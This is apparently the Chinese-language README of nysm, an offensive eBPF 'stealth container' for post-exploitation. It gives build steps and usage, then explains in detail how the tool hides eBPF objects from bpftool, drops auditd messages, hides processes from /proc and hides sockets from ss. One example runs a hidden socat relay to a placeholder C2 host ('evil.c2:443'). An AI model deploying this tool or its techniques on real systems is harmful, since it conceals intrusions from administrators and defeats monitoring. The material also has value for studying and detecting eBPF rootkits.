一个隐秘的后渗透容器。
随着基于 eBPF 的攻防工具的流行——从凭证窃取器到能隐藏自身 PID 的 rootkit——一个问题浮现出来:是否有可能让 eBPF 在自己眼中变得不可见? 由此,我们创建了 nysm,一个 eBPF 隐秘容器,旨在让攻击工具避开系统管理员的视线,不仅隐藏 eBPF,还隐藏更多内容:
上述所有工具都无法察觉经过 nysm 的内容。它隐藏了:
警告 本工具仅作为 eBPF 能力的简单演示,并非详尽实现。当然,非常欢迎提交 Pull Request。
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm 是一个简单的程序,在使用目标命令前运行:
用法: nysm [选项...] 命令
隐秘的 eBPF 容器。
-d, --detach 后台运行 COMMAND
-r, --rm 执行后自毁
-v, --verbose 输出详细信息
-h, --help 显示此帮助
--usage 显示简短的使用信息
运行一个隐藏的 bash:
./nysm bash
运行一个隐藏的 ssh 并删除 ./nysm:
./nysm -r ssh user@domain
以后台守护进程方式运行隐藏的 socat 并删除 ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
由于 eBPF 无法覆写返回值或内核地址,我们的目标是找到最低级别的、与用户态地址交互的调用,然后覆写其值来隐藏目标对象。
为了将 nysm 事件与其他事件区分开,所有操作都在独立的 PID 命名空间中运行。
bpftool 有一些 nysm 希望规避的功能:bpftool prog list、bpftool map list 和 bpftool link list。
与任何 eBPF 程序一样,bpftool 使用 bpf() 系统调用,特别是通过 BPF_PROG_GET_NEXT_ID、BPF_MAP_GET_NEXT_ID 和 BPF_LINK_GET_NEXT_ID 命令。这些调用的结果存储在由 attr 参数指向的用户态地址中。
为了覆写 uattr,我们在 bpf() 入口处设置一个跟踪点,将指向的地址存储到映射中。然后等待 bpf() 退出跟踪点。当 bpf() 退出时,nysm 可以读写 bpf_attr 结构。每次 BPF_*_GET_NEXT_ID 之后,bpf_attr.start_id 被替换为 bpf_attr.next_id。
为了隐藏特定 ID,它会检查 bpf_attr.next_id 并将其替换为下一个未在 nysm 中创建的 ID。
程序、映射和链接的 ID 从 security_bpf_prog()、security_bpf_map() 和 bpf_link_prime() 中收集。
Auditd 通过 recvfrom() 接收日志,该函数将消息存储到缓冲区中。
如果接收到的消息是由 nysm 进程通过 audit_log_end() 生成的,nysm 会将消息的 nlmsghdr 头部中的长度字段替换为 0。
用 eBPF 隐藏 PID 并非新事物。nysm 隐藏了新 alloc_pid() 产生的 PID,使其在 /proc 中不可见——通过修改 getdents64() 返回记录中前一条记录的长度。
由于 getdents64() 需要遍历所有文件,eBPF 指令限制很容易达到。因此,nysm 在达到限制前使用 尾调用。
说“隐藏套接字”有点夸张。实际上,已打开的套接字对许多工具来说已经隐藏了,因为它们无法在 /proc 中找到进程。但 ss 使用带有 NETLINK_SOCK_DIAG 标志的 socket() 来返回所有当前打开的套接字。之后,ss 通过 recvmsg() 接收结果,返回值是所有消息长度的总和。
这里采用了与 PID 相同的方法:修改前一条消息的长度以隐藏 nysm 的套接字。
这些套接字从 connect() 和 bind() 调用中收集。
尽管尽了最大努力,nysm 仍有一些局限性。
每个不关闭文件描述符的工具都会发现在其打开期间创建的 nysm 进程。例如,如果在 top 运行之前执行 ./nysm bash,则进程不会显示。但如果从该 bash 实例中创建另一个进程而 top 仍在运行,新进程会被发现。对于套接字以及 nethogs 等工具也存在同样的问题。
内核日志:dmesg 和 /var/log/kern.log 中会多次出现 nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! 的提示,这是因为 nysm 运行时触发了 eBPF 验证器。
许多写入文件的痕迹会保留下来(因为挂钩 read() 和 write() 太重量级了,尽管仍然可行)。例如 /proc/net/tcp 或 /sys/kernel/debug/tracing/enabled_functions。
隐藏 ss 的 recvmsg 具有挑战性,因为新套接字可能出现在缓冲区开头,而 nysm 无法通过前一条记录来隐藏它(PID 不存在此问题)。一个快速的修复方法是将第一个套接字与下一个合法套接字交换位置,但如果缓冲区中只有一个套接字呢?因此,nysm 使用硬编码值修改第一个套接字的信息。
当然,其中许多局限性都有其自身的解决方案。再次强调,非常欢迎提交 Pull Request。
应避免从 nysm 子进程中执行任何带有 BPF_*_GET_NEXT_ID 标志的 bpf() 调用,因为这会隐藏所有非 nysm 的 eBPF 对象。